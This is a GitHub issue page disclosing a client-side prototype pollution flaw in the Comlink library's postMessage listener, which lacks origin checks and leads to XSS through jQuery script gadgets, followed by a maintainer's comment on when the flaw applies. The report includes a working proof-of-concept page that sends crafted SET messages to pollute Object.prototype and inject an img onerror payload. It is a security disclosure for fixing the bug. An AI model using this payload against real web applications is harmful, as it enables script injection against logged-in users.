Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

postMessage listener set incurs a client-side prototype pollution and subsequently facilitates an XSS #603

Open
dego-ro opened this issue Dec 14, 2022 · 1 comment

Comments

@dego-ro
Copy link

dego-ro commented Dec 14, 2022

Testing confirmed that the postMessage listener set by the Comlink library incurs a client-side prototype pollution and subsequently facilitates an XSS vulnerability. The postMessage listener set by the library does not offer an origin validation, thereby accepting messages from any origin. Furthermore, whilst processing the message, the listener incorrectly makes an assignment that rewrites Object.prototype., which causes the prototype pollution.
The root cause of this issue pertains to the fact that the JSON value specified in the message's type attribute constitutes SET. Here, if the crafted path property is passed together, an assignment to Object.prototype.
is performed. For example, if the ["prototype","proto","abc"] is passed to the path property, the value specified in the value property will be assigned to Object.prototype.abc, thereby initiating prototype pollution, observing an opportunity for XSS as a result.

This XSS is triggered by known script gadgets in jQuery. Specifically, when the crafted preventDefault, handleObj, and delegateTarget values are set to Object.prototype, arbitrary JavaScript can be executed if certain processing is performed with jQuery.

image

Steps:

  1. Log in to the web app that is using the library.
  2. Insert the following HTML on an external server.
  <script>
    function go(){
      w=window.open('','_blank');
      w.document.write(`<script>si=setInterval(function(){
      if(opener.length!==0){
        clearInterval(si);
        setTimeout(function(){
          opener.postMessage({"type":"SET","value":{"type":"RAW","value":"x"},"path":["prototype","__proto__","preventDefault"]},'*');
          opener.postMessage({"type":"SET","value":{"type":"RAW","value":"x"},"path":["prototype","__proto__","handleObj"]},'*');
          opener.postMessage({"type":"SET","value":{"type":"RAW","value":"<img/src/onerror=alert(document.domain)>"},"path":["prototype","__proto__","delegateTarget"]},'*');
          document.write('Please check another tab and click on "Apps" menu on the left');
        },3000);
      } 
    },3000);
    <\/script>Please wait...`);
    w.document.close();
    location="https://URL to web app using the component";
    } 
 </script>```
  1. Open the HTML and click go. A new window will be opened and the opener page will be navigated to the web application page.
  2. Wait until the Please check another tab ... message is displayed.
  3. Check another tab when the message is displayed.
  4. Click on an active web component and observe the JavaScript execution.
@benjamind
Copy link
Collaborator

Have done a little digging into this, specifically the issue is if the app under attack is calling expose(someObject) without providing an endpoint, which then defaults to self and thus comlink is listening for messages on the window and the attacking script can then modify the Object.prototype using SET messages.

If comlink is being used to expose something from a worker, or is passing a specific MessagePort endpoint then this vulnerability isn't exposed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants